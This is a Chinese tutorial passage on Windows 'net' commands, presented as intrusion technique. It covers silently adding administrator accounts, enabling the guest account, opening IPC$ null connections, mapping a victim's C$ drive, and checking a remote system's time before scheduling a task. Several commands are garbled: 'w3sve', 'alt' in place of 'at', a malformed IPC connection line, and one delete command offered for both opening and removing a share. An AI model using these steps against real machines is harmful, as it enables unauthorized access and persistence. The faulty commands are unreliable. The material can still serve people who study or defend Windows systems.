net命令详解

net命令是很多网络命令的集合。在Windows中，很多网络功能都是以net命令为开始的，通过net help或者net/?可以看到这些命令的用法，如图2-12所示。

通过net命令，可以在管理员毫无知觉的情况下进行添加计算机用户、操作计算机服务等极大的黑客行为。

添加或删除用户的net命令分别为net user username password/add和net user username/del。

例如，net user chen 123456/add命令用于添加一个名为chen，密码为123456的用户。把该用户添加到管理员组，使用命令net localgroup administrators chen/add；删除该用户使用命令net user chen/del；只是想把该用户从管理员组删除可以使用命令 net localgroup administrators chen/del。

激活被禁用的guest账号，使用命令net user guest/active:yes（将guest用户设置为禁用使用命令net user guest/active:no）。

查看远程系统的时间，使用命令net time\\IP。例如，使用命令net time\\192.168.0.1查看192.168.0.1系统当前时间，以方便入侵的下一步用alt命令添加一个计划任务。

启动和关闭服务，分别使用命令net start servicename和net stop servicename。例如，启动IIS服务使用命令net start w3sve，关闭IIS服务使用命令net stop w3sve，如图2-13所示。

启动和关闭共享，分别使用命令net share sharename和net share sharname/del。例如，开放和删除IPC$共享分别使用命令net share ipc$/del。使用net share d=d:\可完全共享D盘，使用命令net share 可以查看开放了什么共享。

建立IPC空连接，使用命令net use\\ip\ipc$"password"/user:username。假设目标IP为192.168.1.88，用户名为admin，密码为123456的机器建立IPC连接的命令为net use\\192.168.1.88\ipc$"user:admin",执行后，提示“命令成功完成”，即表示成功建立了IPC空连接，如图2-14所示。

值得注意的是，如果密码为空，可用“”表示密码部分。

另外要连接对方，入侵者自己的计算机也必须开启这些服务，有时候必须在自身不安全的情况下去入侵不安全的计算机。如果入侵者自己的计算机没有开启这些服务，则会出现如图2-15所示的连接错误。

删除IPC连接，使用命令net use\\ip\ipc$/del。例如，使用命令net use\\192.168.1.1\ipc$/del，会删除上面已经建立的ipc$连接。

映射磁盘和删除映射磁盘，使用命令net use dirvename\\ipdrive$和net use drivename/del。例如，和受侵者机器建立IPC共享后，可以执行命令net use h:\\192.168.1.88\c$,将受侵者系统开放的默认共享C盘映射为自己的本地磁盘H，操作自己的H盘是操作受侵者的C盘。注意，建立磁盘映射必须先建立IPC连接，要映射成的磁盘必须是本地不存在的盘符。例如，本地已经存在E盘，不能再将受侵者的某个盘映射成自己的E盘了。断开上面映射的磁盘可使用命令net use h:/del。